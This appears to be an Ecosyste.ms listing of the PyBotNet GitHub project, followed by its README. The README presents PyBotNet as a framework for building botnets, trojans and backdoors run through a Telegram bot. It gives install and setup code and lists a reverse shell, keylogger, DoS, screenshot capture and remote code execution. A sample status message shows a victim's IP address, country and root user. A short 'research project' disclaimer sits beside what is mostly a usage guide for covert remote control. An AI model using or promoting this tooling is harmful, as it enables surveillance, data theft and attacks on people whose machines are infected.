Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/onionj/pybotnet
PyBotNet: A Remote Control Framework for Python with Telegram Integration
https://github.com/onionj/pybotnet
backdoor bot botnet ddos linux mac mac-os macos python remote-control telegram telegram-bot trojan windows
Last synced: 5 days ago
JSON representation
PyBotNet: A Remote Control Framework for Python with Telegram Integration
- Host: GitHub
- URL: https://github.com/onionj/pybotnet
- Owner: onionj
- License: lgpl-2.1
- Created: 2021-06-10T11:14:19.000Z (over 3 years ago)
- Default Branch: master
- Last Pushed: 2024-05-31T19:22:06.000Z (7 months ago)
- Last Synced: 2024-12-11T09:04:54.592Z (12 days ago)
- Topics: backdoor, bot, botnet, ddos, linux, mac, mac-os, macos, python, remote-control, telegram, telegram-bot, trojan, windows
- Language: Python
- Homepage: https://onionj.github.io/pybotnet/
- Size: 1.57 MB
- Stars: 256
- Watchers: 8
- Forks: 73
- Open Issues: 7
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
PyBotNet
A Python framework for building remote control, botnet , trojan or backdoor with Telegram or other control panels
> Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf!.
---
**Source Code**: https://github.com/onionj/pybotnet
**Documentation**: https://onionj.github.io/pybotnet/
**ToDo List**: https://github.com/users/onionj/projects/1
---
### Features:
* Built in Telegram control pannel and proxy system
* Built in scripts like:
* reverse shell
* put or get file
* run python code on target systems
* get screenshot
* keylogger
* dos
* scheduler
* ...
* Cross platform
* Ability to easily add custom scripts
* Import external scripts
* Ability to add custom control panel
* Add remote control to your apps
* [...](https://onionj.github.io/pybotnet/)
### Install PyBotNet
```console
pip3 install pybotnet -U
```
* `-U`: make sure to upgrade framework to latest version.
#### The simplest PyBotNet file could look like this:
```py title="main.py"
# in main.py
from pybotnet import BotNet, TelegramEngine
telegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID) #(1)
botnet = BotNet(telegram_engine) # (2)
botnet.run()
```
1. create engine: Engines transfer messages between admin and botnet
2. create BotNet instance
#### note:
* `TELEGRAM_TOKEN`: You can use telegram `@botfather` to Create new telegram API Bot and get your `TELEGRAM_TOKEN`
* `ADMIN_CHAT_ID`: Get it from @userinfobot telegram bot
* PyBotNet include default scripts, like: `/shell`, `/put_file`, `/get_file`, `/screenshot`, `/who`, ...,
you can send `/help` to your telegram bot and see more detail..
#### Run code:
```console
python3 main.py
```
#### telegram engine
open telegram and send `/who` command to your bot; If you have done the steps correctly, you recive a message like this:
```
scripts_name:
echo
who
shell
screenshot
put_file
get_file
runcode
openurl
dos
schedule
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
local_ip: {'192.168.23.1'}
host_name: {'system_name'}
system_user: root
up_time: 0:00:01
current_route: /
pid: 148352
cpu_count: 8
pybotnet_version: 2.0.8b0
from cache: True
```
you can send `/help` to see help page, or send `/help ` to recive more help about a specific script.
for example send `/help screenshot`, You will receive:
```
NAME:
screenshot
DESCRIPTION:
get screen shot
* `[mac-address] /screenshot`
or
* `/screenshot`
example command:
* `94945035671481 /screenshot`
* `/screenshot`
return: img or img-download-link
script_version: 0.0.1
default_script: True
___________________________
scripts_name: ['echo', 'who', 'shell', 'screenshot', 'put_file', 'get_file', 'runcode', 'openurl', 'dos', 'schedule']
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
use_proxy: False
```
in top of message you see script name, description, syntax, and examples.
for run screenshot script you have two choice:
* Run the script on all clients that are listening to Telegram bot (for now we have one!)
* Run script on one specific system
for run script on all client send `/screenshot`.
bot if you need to get screen-shot on a specific system you need to send `[mac_addres] /screenshot` for our case: `228362405364 /screenshot`
in some case like `/shell` you need to run it just for one system.
For see who we can `Add custom scripts`, `Run in background`, `Running the pybotnet without coding`, and etc, see the below documentation.
### *For more, see [Documentation](https://onionj.github.io/pybotnet/)*
---
## Contributors ✨
Thanks goes to these wonderful people :
